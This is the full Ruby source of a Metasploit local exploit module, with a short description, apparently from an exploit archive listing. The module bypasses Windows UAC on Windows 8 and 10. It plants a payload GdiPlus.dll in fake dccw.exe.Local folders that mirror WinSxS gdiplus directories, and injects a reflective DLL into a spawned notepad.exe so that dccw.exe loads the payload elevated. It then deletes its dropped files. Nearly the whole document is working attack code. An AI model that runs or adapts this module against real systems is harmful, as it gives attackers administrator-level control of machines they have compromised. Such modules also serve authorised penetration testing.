Windows Escalate UAC Protection Bypass (In Memory Injection) Abusing WinSXS

This Metasploit module will bypass Windows UAC by utilizing the trusted publisher certificate through process injection. It will spawn a second shell that has the UAC flag turned off by abusing the way "WinSxS" works in Windows systems. This Metasploit module uses the Reflective DLL Injection technique to drop only the DLL payload binary instead of three separate binaries in the standard technique. However, it requires the correct architecture to be selected, (use x64 for SYSWOW64 systems also).


MD5 | 168e1d24d366b109430b6a8f6c85ad79

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/exe'

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Exploit::EXE
include Exploit::FileDropper
include Post::File
include Post::Windows::Priv
include Post::Windows::ReflectiveDLLInjection
include Post::Windows::Runas

def initialize(info={})
super( update_info( info,
'Name' => 'Windows Escalate UAC Protection Bypass (In Memory Injection) abusing WinSXS',
'Description' => %q{
This module will bypass Windows UAC by utilizing the trusted publisher
certificate through process injection. It will spawn a second shell that
has the UAC flag turned off by abusing the way "WinSxS" works in Windows
systems. This module uses the Reflective DLL Injection technique to drop
only the DLL payload binary instead of three seperate binaries in the
standard technique. However, it requires the correct architecture to be
selected, (use x64 for SYSWOW64 systems also).
},
'License' => MSF_LICENSE,
'Author' => [
'Ernesto Fernandez "L3cr0f" <ernesto.fernpro[at]gmail.com>'
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
],
'DefaultTarget' => 0,
'References' => [
[
'URL', 'https://github.com/L3cr0f/DccwBypassUAC'
]
],
'DisclosureDate'=> 'Apr 06 2017'
))

end

def exploit
# Validate that we can actually do things before we bother
# doing any more work
validate_environment!
check_permissions!

# Get all required environment variables in one shot instead. This
# is a better approach because we don't constantly make calls through
# the session to get the variables.
env_vars = get_envs('TEMP', 'WINDIR')

# Get UAC level so as to verify if the module will be successful
case get_uac_level
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
fail_with(Failure::NotVulnerable,
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..."
)
when UAC_DEFAULT
print_good('UAC is set to Default')
print_good('BypassUAC can bypass this setting, continuing...')
when UAC_NO_PROMPT
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
shell_execute_exe
return
end

dll_path = bypass_dll_path
payload_filepath = "#{env_vars['TEMP']}\\dccw.exe.Local"

# Establish the folder pattern so as to get those folders that match it
sysarch = sysinfo['Architecture']
if sysarch == ARCH_X86
targetedDirectories = "C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_*"
else
targetedDirectories = "C:\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_*"
end

directoryNames = get_directories(payload_filepath, targetedDirectories)
create_directories(payload_filepath, directoryNames)
upload_payload_dll(payload_filepath, directoryNames)

pid = spawn_inject_proc(env_vars['WINDIR'])

file_paths = get_file_paths(env_vars['WINDIR'], payload_filepath)
run_injection(pid, dll_path, file_paths)
end

# Path to the bypassuac binary and architecture payload checking
def bypass_dll_path
path = ::File.join(Msf::Config.data_directory, 'post')

sysarch = sysinfo['Architecture']
if sysarch == ARCH_X86
if (target_arch.first =~ /64/i) || (payload_instance.arch.first =~ /64/i)
fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
else
::File.join(path, "bypassuac-x86.dll")
end
else
unless (target_arch.first =~ /64/i) && (payload_instance.arch.first =~ /64/i)
fail_with(Failure::BadConfig, 'x86 Target Selected for x64 System')
else
::File.join(path, "bypassuac-x64.dll")
end
end
end

# Check if the compromised user matches some requirements
def check_permissions!
# Check if you are an admin
vprint_status('Checking admin status...')
admin_group = is_in_admin_group?

if admin_group.nil?
print_error('Either whoami is not there or failed to execute')
print_error('Continuing under assumption you already checked...')
else
if admin_group
print_good('Part of Administrators group! Continuing...')
else
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
end

if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
end
end

# Inject and run the DLL within a trusted certificate signed process to invoke IFileOperation
def run_injection(pid, dll_path, file_paths)
vprint_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}")
begin
path_struct = create_struct(file_paths)

vprint_status("Opening process #{pid}")
host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
exploit_mem, offset = inject_dll_into_process(host_process, dll_path)

vprint_status("Injecting struct into #{pid}")
struct_addr = host_process.memory.allocate(path_struct.length)
host_process.memory.write(struct_addr, path_struct)

vprint_status('Executing payload')
thread = host_process.thread.create(exploit_mem + offset, struct_addr)
print_good("Successfully injected payload in to process: #{pid}")
client.railgun.kernel32.WaitForSingleObject(thread.handle, 14000)
rescue Rex::Post::Meterpreter::RequestError => e
print_error("Failed to Inject Payload to #{pid}!")
vprint_error(e.to_s)
end
end

# Create a process in the native architecture
def spawn_inject_proc(win_dir)
print_status('Spawning process with Windows Publisher Certificate, to inject into...')
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
cmd = "#{win_dir}\\sysnative\\notepad.exe"
else
cmd = "#{win_dir}\\System32\\notepad.exe"
end
pid = cmd_exec_get_pid(cmd)

unless pid
fail_with(Failure::Unknown, 'Spawning Process failed...')
end

pid
end

# Upload only one DLL, the rest will be copied into the specific folders
def upload_payload_dll(payload_filepath, directoryNames)
dllPath = "#{directoryNames[0]}\\GdiPlus.dll"
payload = generate_payload_dccw_gdiplus_dll({:dll_exitprocess => true})
print_status('Uploading the Payload DLL to the filesystem...')
begin
vprint_status("Payload DLL #{payload.length} bytes long being uploaded...")
write_file(dllPath, payload)
rescue Rex::Post::Meterpreter::RequestError => e
fail_with(Failure::Unknown, "Error uploading file #{directoryNames[0]}: #{e.class} #{e}")
end

if directoryNames.size > 1
copy_payload_dll(directoryNames, dllPath)
end
end

# Copy our DLL to all created folders, the first folder already have a copy of the DLL
def copy_payload_dll(directoryNames, dllPath)
1.step(directoryNames.size - 1, 1) do |i|
if client.railgun.kernel32.CopyFileA(dllPath, "#{directoryNames[i]}\\GdiPlus.dll", false)['return'] == false
print_error("Error! Cannot copy the payload to all the necessary folders! Continuing just in case it works...")
end
end
end

# Check if the environment is vulnerable to the exploit
def validate_environment!
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?

winver = sysinfo['OS']

case winver
when /Windows (8|10)/
print_good("#{winver} may be vulnerable.")
else
fail_with(Failure::NotVulnerable, "#{winver} is not vulnerable.")
end

if is_uac_enabled?
print_status('UAC is Enabled, checking level...')
else
unless is_in_admin_group?
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
end
end

# Creating the necessary directories to perform the DLL hijacking
# Since we don't know which path "dccw.exe" will choose, we create
# all the directories that match with the initial pattern
def create_directories(payload_filepath, directoryNames)
env_vars = get_envs('TEMP')

print_status("Creating temporary folders...")
if client.railgun.kernel32.CreateDirectoryA(payload_filepath, nil)['return'] == 0
fail_with(Failure::Unknown, "Cannot create the directory \"#{env_vars['TEMP']}dccw.exe.Local\"")
end

directoryNames.each do |dirName|
if client.railgun.kernel32.CreateDirectoryA(dirName, nil)['return'] == 0
fail_with(Failure::Unknown, "Cannot create the directory \"#{env_vars['TEMP']}dccw.exe.Local\\#{dirName}\"")
end
end
end

# Get all the directories that match with the initial pattern
def get_directories(payload_filepath, targetedDirectories)
directoryNames = []
findFileDataSize = 592
maxPath = client.railgun.const("MAX_PATH")
fileNamePadding = 44

hFile = client.railgun.kernel32.FindFirstFileA(targetedDirectories, findFileDataSize)
if hFile['return'] == client.railgun.const("INVALID_HANDLE_VALUE")
fail_with(Failure::Unknown, "Cannot get the targeted directories!")
end

findFileData = hFile['lpFindFileData']
moreFiles = true
until moreFiles == false do
fileAttributes = findFileData[0, 4].unpack('V').first
andOperation = fileAttributes & client.railgun.const("FILE_ATTRIBUTE_DIRECTORY")
if andOperation
#Removes the remainder part composed of 'A' of the path and the last null character
normalizedData = findFileData[fileNamePadding, fileNamePadding + maxPath].split('AAA')[0]
path = "#{payload_filepath}\\#{normalizedData[0, normalizedData.length - 1]}"
directoryNames.push(path)
end

findNextFile = client.railgun.kernel32.FindNextFileA(hFile['return'], findFileDataSize)
moreFiles = findNextFile['return']
findFileData = findNextFile['lpFindFileData']
end

if findNextFile['GetLastError'] != client.railgun.const("ERROR_NO_MORE_FILES")
fail_with(Failure::Unknown, "Cannot get the targeted directories!")
end

directoryNames
end

# Store the necessary paths into a struct
def get_file_paths(win_path, payload_filepath)
paths = {}
paths[:szElevDll] = 'dccw.exe.Local'
paths[:szElevDir] = "#{win_path}\\System32"
paths[:szElevDirSysWow64] = "#{win_path}\\sysnative"
paths[:szElevExeFull] = "#{paths[:szElevDir]}\\dccw.exe"
paths[:szElevDllFull] = "#{paths[:szElevDir]}\\#{paths[:szElevDll]}"
paths[:szTempDllPath] = payload_filepath

paths
end

# Creates the paths struct which contains all the required paths
# the dll needs to copy/execute etc.
def create_struct(paths)

# Write each path to the structure in the order they
# are defined in the bypass uac binary.
struct = ''
struct << fill_struct_path(paths[:szElevDir])
struct << fill_struct_path(paths[:szElevDirSysWow64])
struct << fill_struct_path(paths[:szElevDll])
struct << fill_struct_path(paths[:szElevDllFull])
struct << fill_struct_path(paths[:szElevExeFull])
struct << fill_struct_path(paths[:szTempDllPath])

struct
end

def fill_struct_path(path)
path = Rex::Text.to_unicode(path)
path + "\x00" * (520 - path.length)
end

# When a new session is obtained, it removes the dropped elements (files and folders)
def on_new_session(session)
if session.type == 'meterpreter'
session.core.use('stdapi') unless session.ext.aliases.include?('stdapi')
end
remove_dropped_elements(session)
end

# Remove all the created and dropped files and folders
def remove_dropped_elements(session)
droppedElements = []

env_vars = get_envs('TEMP', 'WINDIR')
payload_filepath = "#{env_vars['TEMP']}\\dccw.exe.Local"

sysarch = sysinfo['Architecture']
if sysarch == ARCH_X86
targetedDirectories = "C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_*"
else
targetedDirectories = "C:\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_*"
end

directoryNames = get_directories(payload_filepath, targetedDirectories)
file_paths = get_file_paths(env_vars['WINDIR'], payload_filepath)

# Remove all dropped elements (files and folders)
remove_dlls(session, directoryNames, file_paths, droppedElements)
remove_winsxs_folders(session, directoryNames, file_paths, droppedElements)
remove_dot_local_folders(session, file_paths, droppedElements)

# Check if the removal was successful
removal_checking(droppedElements)
end

# Remove "GdiPlus.dll" from "C:\%TEMP%\dccw.exe.Local\*_microsoft.windows.gdiplus_*\"
# and "C:\Windows\System32\dccw.exe.Local\*_microsoft.windows.gdiplus_*\"
def remove_dlls(session, directoryNames, file_paths, droppedElements)
directoryNames.each do |dirName|
directoryName = dirName.split("\\").last

begin
droppedElements.push("#{dirName}\\GdiPlus.dll")
session.fs.file.rm("#{dirName}\\GdiPlus.dll")
rescue ::Rex::Post::Meterpreter::RequestError => e
vprint_error("Error => #{e.class} - #{e}")
end

begin
droppedElements.push("#{file_paths[:szElevDllFull]}\\#{directoryName}\\GdiPlus.dll")
session.fs.file.rm("#{file_paths[:szElevDllFull]}\\#{directoryName}\\GdiPlus.dll")
rescue ::Rex::Post::Meterpreter::RequestError => e
vprint_error("Error => #{e.class} - #{e}")
end
end
end

# Remove folders from "C:\%TEMP%\dccw.exe.Local\" and "C:\Windows\System32\dccw.exe.Local\"
def remove_winsxs_folders(session, directoryNames, file_paths, droppedElements)
directoryNames.each do |dirName|
directoryName = dirName.split("\\").last

begin
droppedElements.push(dirName)
session.fs.dir.rmdir(dirName)
rescue ::Rex::Post::Meterpreter::RequestError => e
vprint_error("Error => #{e.class} - #{e}")
end

begin
droppedElements.push("#{file_paths[:szElevDllFull]}\\#{directoryName}")
session.fs.dir.rmdir("#{file_paths[:szElevDllFull]}\\#{directoryName}")
rescue ::Rex::Post::Meterpreter::RequestError => e
vprint_error("Error => #{e.class} - #{e}")
end
end
end

# Remove "C:\Windows\System32\dccw.exe.Local" folder
def remove_dot_local_folders(session, file_paths, droppedElements)
begin
droppedElements.push(file_paths[:szTempDllPath])
session.fs.dir.rmdir(file_paths[:szTempDllPath])
rescue ::Rex::Post::Meterpreter::RequestError => e
vprint_error("Error => #{e.class} - #{e}")
end

begin
droppedElements.push(file_paths[:szElevDllFull])
session.fs.dir.rmdir(file_paths[:szElevDllFull])
rescue ::Rex::Post::Meterpreter::RequestError => e
vprint_error("Error => #{e.class} - #{e}")
end
end

# Check if have been successfully removed
def removal_checking(droppedElements)
successfullyRemoved = true

droppedElements.each do |element|
begin
stat = session.fs.file.stat(element)
if stat
print_error("Unable to delete #{element}!")
successfullyRemoved = false
end
rescue ::Rex::Post::Meterpreter::RequestError => e
vprint_error("Error => #{e.class} - #{e}")
end
end

if successfullyRemoved
print_good("All the dropped elements have been successfully removed")
else
print_warning("Could not delete some dropped elements! They will require manual cleanup on the target")
end
end
end

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